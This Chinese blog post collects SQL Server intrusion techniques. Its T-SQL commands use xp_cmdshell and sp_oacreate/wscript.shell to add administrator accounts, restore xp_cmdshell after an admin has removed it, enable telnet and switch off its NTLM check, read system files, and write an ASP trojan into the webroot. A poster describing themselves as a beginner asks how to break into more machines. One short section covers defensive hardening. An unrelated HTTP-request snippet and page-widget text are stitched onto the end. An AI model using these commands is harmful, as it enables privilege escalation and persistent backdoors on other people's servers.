总结SQL入侵中的突破方法


SQL Server 提升权限相关命令及防范 (*)
===========================================================================================
exec master..xp_cmdshell "net user name password /add"
exec master..xp_cmdshell "net localgroup administrators name /add"
==========================================================================================
2.sa帐号的改名和删除
sa一般情况下是既不可以更改名称,也不可以删除,SQL中的企业管理器,接着在工具选项卡中选择SQL server配置属性依次,点服务器设置,看到允许对系统目录直接进行修改前面的方框吗,点一下,好。
再打开查询分析器,登陆进去(呵呵,随便你用什么帐号进去,不过可一定要在master数据库中有db_owner的权限)输入:
update sysxlogins set name=’yun’ where sid=0x01
update sysxlogins set sid=0xE765555BD44F054F89CD0076A06EA823 where name=’yun’
192.168.71.128 yun 空
当然你也可以改回来,你要改成的名字=sa
============================================================================================

3.防范判断 存储过程以及拒绝SQL连接入侵
删除SQLSERVER扩展存储过程
扩展存储过程包括:再通过企业管理器删除下面这些
sp_activedirector_scp
sp_adddispublisher
sp_adddistributiondb
sp_attachsubscription
sp_changedistpublisher
sp_copysubscription
sp_mscopyscriptfile
sp_msremove_userscript
sp_replicationoption
sp_resolve_logins
sp_vupgrade_replication
xp_cmdshell
这样可以有效防范ASP木马运行判断存储过程。
SA这类用户的xp_shell调用到 xplog70. dll.
删除 xplog70. dll,这样可以防止大多数的SQL连接,就是别人通过SQL注入连接到你服务器,也执行不了命令。
c:\sql2000\程序文件\bin\ xplog70. dll
=====================================================================================================
4.确定 SQL Server 或 Analysis Services 的当前版本

osql 或 isql 实用工具在命令提示符中或在 SQL 查询分析器的“查询”窗口中键入 Select @@VERSION 或 SERVERPROPERTY(’ProductVersion’)。

同样,特定版本 SQL Server 2000 的产品级别可以通过执行 Select SERVERPROPERTY(’ProductLevel’) 来确定。

下表显示了 SQL Server 2000 版本和级别、@@VERSION 报告的版本号以及 SERVERPROPERTY(’ProductLevel’) 报告的产品级别三者之间的关系。
SQL Server 2000 版本和级别   @@VERSION   ProductLevel
SQL Server 2000 RTM   8.00.194   RTM
Database Components SP1   8.00.384   SP1
Database Components SP2   8.00.534   SP2
Database Components SP3   8.00.760   SP3
======================================================================================= =========

1 未能找到存储过程’master..xpcmdshell’. (也就是管理员删除了扩展存储过程-xp_cmdshell)
恢复方法:查询分离器连接后,
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname =’xplog70.dll’declare @o int
第二步执行:sp_addextendedproc ’xp_cmdshell’, ’xpsql70.dll’
然后按F5键命令执行完毕


2 无法装载 xplog70. dll 或该 DLL 所引用的某一 DLL原因: 126(找不到指定的模块。)。(也就是被管理员删除了 xplog70. dll,或者改名了。)
给他上传一个 xplog70. dll文件。
打开文件上传的窗口将文件上传到C:\WinNt\System32\下后执行数据库命令
Select * from sysxlogins Exec master.dbo.addextendedproc ’xp_cmdshell’, ’C:\WinNt\System32\ xplog70.dll’。

Select * from sysxlogins Exec master.dbo.addextendedproc ’xp_cmdshell’, ’C:\Program Files\Microsoft SQL Server\MSSQL\Binn\ xplog70.dll’

3 无法装载 DLL xpsql70. dll 或该 DLL所引用的某一 DLL原因 126(找不到指定模块。)

恢复方法:查询分离器连接后,
第一步执行:sp_dropextendedproc "xp_cmdshell"
第二步执行:sp_addextendedproc ’xp_cmdshell’, ’xpsql70.dll’

4 无法在库 xpweb70. dll 中找到函数 xp_cmdshell。 原因: 127(找不到指定的程序。)
恢复方法:查询分离器连接后,
第一步执行:exec sp_dropextendedproc ’xp_cmdshell’
第二步执行:exec sp_addextendedproc ’xp_cmdshell’,’xpweb70.dll’  
然后按F5键命令执行完毕

5 终极方法.
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
查询分离器连接后,
2000servser系统:
declare @shell int exec sp_oacreate ’wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add’

declare @shell int exec sp_oacreate ’wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add’

xp或2003server系统:

declare @shell int exec sp_oacreate ’wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\windows\system32\cmd.exe /c net user 新用户 密码 /add’

declare @shell int exec sp_oacreate ’wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add’

然后按F5键命令执行完毕

但这样做似乎没有什么用,我用以上的方法只 成功过一台机器,我想可能是管理员删除了xpsql70. dll或者 xplog70. dll,我从网上找了这两个 dll文件,上传上去,再用上面的方法还是不行?不知道为什么?能否帮忙解释一下为什么

问题2:xp_cmdshell,sp_oacreate等无执行权限,这些机器我就直接放弃了,我是菜鸟,不知道还有什么办法可以突破这个?

问题3:有些机器可以用上面的终极方法添加管理员,也是就得到了最终的权限,但是开不了telnet,telnet无法启动服务,这样还能开3389吗?telnet无法启动的时候改怎么解决呢?

问题4:用终极方法添加管理员后,还是用declare @shell int exec sp_oacreate ’wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\winnt\system32\cmd.exe /c net start telnet ’启动了telnet服务,但是需要NTLM验证,我知道用紫幻的方法可以很好解决,但是我用declare @shell int exec sp_oacreate ’wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\winnt\system32\cmd.exe /c tlntadmn config sec = -ntlm’执行成功以后,用telnet登陆还是需要NTLM验证,想不通为什么成功了还要NTML验证,然后在网上找资料,找到的三种方法,
1:上传NTML.exe改模式2为1(但我没有得到一个shell,能用添加管理一样,执行NTML.exe文件吗?也不知道会不会上传成功?)
2:用opentelnet,这个依赖$IPC,没开只能放弃。
3:用cscript rtcs.vbe,我在网上找了好久都没找到rtcs.vbe这个文件,!-_-
到这里,我这菜鸟又没有办法了,又只能放弃了。导师们,你们到这里会这么解决


6 绕过xp_cmdshell执行系统命令
在MSSQL中可以通过sp_oacreate 和sp_oamethod 两个存储扩展创建ActiveX自动脚本。因此执行系统命令的语句可以写成:
declare @o int
exec sp_oacreate ’wscript.shell’, @o out
exec sp_oamethod @o, ’run’, NULL, ’net start telnet’
他的作用是在服务器端通过wscript.shell执行net start telnet,从而开启服务器的telnet服务。
你一定会想到FSO了!对,我们也可以通过它进行文件的管理,例如:
declare @o int, @f int, @t int, @ret int ,@c varchar(8000)
declare @line varchar(8000)
exec sp_oacreate ’scripting.filesystemobject’, @o out
exec sp_oamethod @o, ’opentextfile’, @f out, ’c:\boot.ini’, 1
exec @ret = sp_oamethod @f, ’readline’, @line out
select @c=’’
while( @ret = 0)
begin
select @c=@c+@line+char(13)+char(10)
exec @ret = sp_oamethod @f, ’readline’, @line out
end
可以读取c:\boot.ini文件中的内容并存储在局部变量@c中。如果想读出来,只需要创建一个临时表写入就可以了。
用这种方法也可以创建文件,并写入数据,例如:
declare @o int, @f int, @t int, @ret int
exec sp_oacreate ’scripting.filesystemobject’, @o out
exec sp_oamethod @o, ’createtextfile’, @f out, ’c:\inetpub\wwwroot\foo.asp’, 1
exec @ret = sp_oamethod @f, ’writeline’, NULL, ’’
在c:\inetpub\wwwroot\foo.asp创建了一个只有两行代码的asp木马。这种方法避免了使用备份所带来的大量无用数据和使用sp_makewebtask存储扩展所带来的创建临时表的麻烦。这可是居家旅行,杀人硬盘的必备工具阿!
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
DECLARE @Object int; DECLARE @HR int; DECLARE @Property nvarchar(255); DECLARE @Return nvarchar(255); DECLARE @Source nvarchar(255), @Desc nvarchar(255); DECLARE @httpStatus int; DECLARE @response varchar(8000); --创建 OLE 对象的实例 EXEC @HR = sp_OACreate N'MSXML2.XMLHTTP.6.0',@Object OUT; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('Error Creating COM Component 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO END_ROUTINE END BEGIN --Open EXEC @HR = sp_OAMethod @Object,N'open',Null,'GET','http://localhost:1728/HttpServer/submit.aspx',FALSE; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('Open 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --setRequestHeader EXEC @HR = sp_OAMethod @Object,N'setRequestHeader',Null,'Content-Type','text/xml'; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('setRequestHeader 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --send EXEC @HR = sp_OAMethod @Object,N'send',Null,''; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('send 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --readyState EXEC @HR = sp_OAGetProperty @Object,'readyState', @httpStatus OUT; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('readyState 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --verify status IF @httpStatus 4 BEGIN RAISERROR('readyState http status bad', 16,1) GOTO CLEANUP END --status EXEC @HR = sp_OAGetProperty @Object,'status', @httpStatus OUT; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('getstatus 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --verify status IF @httpStatus 200 BEGIN Print Cast(@httpStatus As varchar) RAISERROR('Open http status bad', 16,1) GOTO CLEANUP END --responseText EXEC @HR = sp_OAGetProperty @Object, 'responseText', @response OUT IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('responseText 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END Print @response END CLEANUP: BEGIN EXEC @HR = sp_OADestroy @Object; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; SELECT HR = convert(varbinary(4),@HR),Source=@Source,Description=@Desc; END END END_ROUTINE: RETURN; GO
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值